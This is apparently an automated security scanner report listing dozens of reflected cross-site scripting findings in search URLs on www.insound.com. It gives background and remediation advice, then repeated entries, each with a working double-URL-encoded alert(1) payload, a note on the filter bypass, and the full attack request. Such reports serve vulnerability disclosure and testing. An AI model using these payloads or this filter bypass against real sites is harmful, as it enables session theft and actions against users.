Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload f2346%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e17419aa4d55 was submitted in the REST URL parameter 3. This input was echoed as f2346</title><script>alert(1)</script>17419aa4d55 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Agallochf2346%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e17419aa4d55&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2e00%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7553970dfac was submitted in the REST URL parameter 3. This input was echoed as f2e00"><script>alert(1)</script>7553970dfac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Agallochf2e00%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7553970dfac&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36a7b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9c395655252 was submitted in the REST URL parameter 3. This input was echoed as 36a7b"><script>alert(1)</script>9c395655252 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Art%20Department36a7b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9c395655252&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 75ca3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e30e92eb4870 was submitted in the REST URL parameter 3. This input was echoed as 75ca3</title><script>alert(1)</script>30e92eb4870 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Art%20Department75ca3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e30e92eb4870&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 8459b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecb57b9a199c was submitted in the REST URL parameter 3. This input was echoed as 8459b</title><script>alert(1)</script>cb57b9a199c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Barbara%20Morgenstern8459b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ecb57b9a199c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 979d6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0f8bcdf69e7 was submitted in the REST URL parameter 3. This input was echoed as 979d6"><script>alert(1)</script>0f8bcdf69e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Barbara%20Morgenstern979d6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0f8bcdf69e7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload eba07%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6222e7940c6 was submitted in the REST URL parameter 3. This input was echoed as eba07</title><script>alert(1)</script>6222e7940c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Bjeba07%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6222e7940c6..rn%20Torske&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd41e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8bddc1aa843 was submitted in the REST URL parameter 3. This input was echoed as dd41e"><script>alert(1)</script>8bddc1aa843 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Bjdd41e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8bddc1aa843..rn%20Torske&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5e578%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb16a61fd2 was submitted in the REST URL parameter 3. This input was echoed as 5e578"><script>alert(1)</script>fb16a61fd2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Blank%20Dogs5e578%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efb16a61fd2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 5e9f8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34d1968c2ef was submitted in the REST URL parameter 3. This input was echoed as 5e9f8</title><script>alert(1)</script>34d1968c2ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Blank%20Dogs5e9f8%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e34d1968c2ef&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 49bba%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7cc6fbc821c was submitted in the REST URL parameter 3. This input was echoed as 49bba</title><script>alert(1)</script>7cc6fbc821c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Blonde%20Redhead49bba%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7cc6fbc821c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 760b7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e48f4f488cc7 was submitted in the REST URL parameter 3. This input was echoed as 760b7"><script>alert(1)</script>48f4f488cc7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Blonde%20Redhead760b7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e48f4f488cc7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85924%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5e30c6a4c39 was submitted in the REST URL parameter 3. This input was echoed as 85924"><script>alert(1)</script>5e30c6a4c39 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Blood%20Red%20Shoes85924%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5e30c6a4c39&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e7eb1%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e94572236aff was submitted in the REST URL parameter 3. This input was echoed as e7eb1</title><script>alert(1)</script>94572236aff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Blood%20Red%20Shoese7eb1%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e94572236aff&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Blood Red Shoese7eb1</title><script>alert(1)</script>94572236aff</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8d94%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec0aec05a6ed was submitted in the REST URL parameter 3. This input was echoed as e8d94"><script>alert(1)</script>c0aec05a6ed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Braidse8d94%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec0aec05a6ed&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 9b08c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e80cca7b54 was submitted in the REST URL parameter 3. This input was echoed as 9b08c</title><script>alert(1)</script>9e80cca7b54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Braids9b08c%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e80cca7b54&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 30e12%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e15f5e9c4cda was submitted in the REST URL parameter 3. This input was echoed as 30e12"><script>alert(1)</script>15f5e9c4cda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Breathe%20Owl%20Breathe30e12%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e15f5e9c4cda&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload bbe5f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4ebd0056fb9 was submitted in the REST URL parameter 3. This input was echoed as bbe5f</title><script>alert(1)</script>4ebd0056fb9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Breathe%20Owl%20Breathebbe5f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4ebd0056fb9&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c59f0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e45e0dddf740 was submitted in the REST URL parameter 3. This input was echoed as c59f0</title><script>alert(1)</script>45e0dddf740 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/British%20Sea%20Powerc59f0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e45e0dddf740&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 362fb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e289eede2243 was submitted in the REST URL parameter 3. This input was echoed as 362fb"><script>alert(1)</script>289eede2243 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/British%20Sea%20Power362fb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e289eede2243&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64f09%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef4bd9f8e33a was submitted in the REST URL parameter 3. This input was echoed as 64f09"><script>alert(1)</script>f4bd9f8e33a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/CANT64f09%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef4bd9f8e33a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 9303a%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b797b7cace was submitted in the REST URL parameter 3. This input was echoed as 9303a</title><script>alert(1)</script>4b797b7cace in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/CANT9303a%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4b797b7cace&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 92588%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1e4228ca9d4 was submitted in the REST URL parameter 3. This input was echoed as 92588</title><script>alert(1)</script>1e4228ca9d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/CFCF92588%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1e4228ca9d4&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f843%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e243c2d95501 was submitted in the REST URL parameter 3. This input was echoed as 5f843"><script>alert(1)</script>243c2d95501 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/CFCF5f843%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e243c2d95501&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 11c11%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec331f00e8fa was submitted in the REST URL parameter 3. This input was echoed as 11c11</title><script>alert(1)</script>c331f00e8fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cameo11c11%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec331f00e8fa&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
